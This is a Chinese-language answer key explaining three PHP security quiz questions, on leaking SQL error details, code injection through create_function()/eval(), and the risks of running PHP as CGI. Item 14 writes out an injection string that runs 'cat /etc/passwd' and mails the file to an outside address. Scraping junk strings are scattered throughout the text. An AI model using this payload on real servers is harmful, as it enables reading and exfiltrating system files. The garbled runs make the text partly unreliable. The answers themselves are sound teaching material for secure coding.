4 ~" N7 T: |% c+ ]13.正确答案是B。网站不应该向用户展示任何无意义的信息(比如一个失败的SQL查询)。尽管这些信息对大部分用户来说毫无意义,但对开发者(包括黑客)来说这些却是非常有价值的资源。他们可以由此找到一条有效的策略来攻击你的系统。比如说,一个恶意用户由此知道了你的SQL查询的结构,那他就非常容易通过表单进行注入,造成安全隐患。当错误发生时,应该只给用户发送一条致歉信息,而错误细节应该被记录在日志中,以便网站管理员查阅。. c) v1 M8 M; i. a, p. J- s
. Y* v9 |/ F8 R% G, m14.正确答案是D。尽管很隐蔽,但该脚本确实能让用户在服务器上执行任何代码。作为数学式的一部分,考虑一下当$_POST[‘number’]是如下字符串时的情况:, E5 h# x0 T- A R+ S+ {* W
(eval(“exec('cat /etc/passwd | mail baduser@89w.org');”)) ? 0 : 1: A' {7 h& V* M
匿名函数将变成:) L* Z5 M& U( k$ D/ A; o
return $a * (eval(“exec('cat /etc/passwd | mail baduser@89w.org);”)) ? 0 : 1;/ v2 v- j$ a" ]: K
这将使得用户可以通过eval()语句执行任何代码,而且返回的仍然是一个“合法”值。create_function()或eval()能执行动态代码,所以必须仔细检查动态部分,避免注入。 4 v5 S- P% d1 L- I! r# a$ S : l5 B. x5 y6 R) l2 h& g+ b5 A" N' R5 r15.任何安装不恰当的PHP版本都会有安全问题,但在选项中,CGI最严重。默认状态下它有许多安全隐患,并且执行效率低下,在上线前需要进行严格的检查。答案是C。